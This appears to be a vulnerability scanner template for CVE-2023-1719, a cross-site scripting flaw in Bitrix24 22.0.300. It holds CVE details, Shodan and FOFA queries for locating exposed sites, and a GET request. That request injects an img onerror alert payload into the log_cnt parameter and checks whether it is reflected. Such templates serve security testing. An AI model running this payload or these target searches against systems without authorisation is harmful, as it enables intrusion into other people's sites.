Bitrix Component - Cross-Site Scripting

id: CVE-2023-1719

info:
  name: Bitrix Component - Cross-Site Scripting
  author: DhiyaneshDk
  severity: critical
  description: |
    Global variable extraction in bitrix/modules/main/tools.php in Bitrix24 22.0.300 allows unauthenticated remote attackers to (1) enumerate attachments on the server and (2) execute arbitrary JavaScript code in the victim’s browser, and possibly execute arbitrary PHP code on the server if the victim has administrator privilege, via overwriting uninitialised variables.
  reference:
    - https://starlabs.sg/advisories/23/23-1719/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1719
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-1719
    cwe-id: CWE-665
    epss-score: 0.02754
    epss-percentile: 0.90563
    cpe: cpe:2.3:a:bitrix24:bitrix24:22.0.300:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: bitrix24
    product: bitrix24
    shodan-query:
      - html:"/bitrix/"
      - http.html:"/bitrix/"
    fofa-query: body="/bitrix/"
  tags: cve2023,cve,bitrix,xss,bitrix24

http:
  - method: GET
    path:
      - "{{BaseURL}}/bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php?log_cnt=<img%20onerror=alert(document.domain)%20src=1>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'LOG_CNT':"
          - "<img onerror=alert(document.domain) src=1>"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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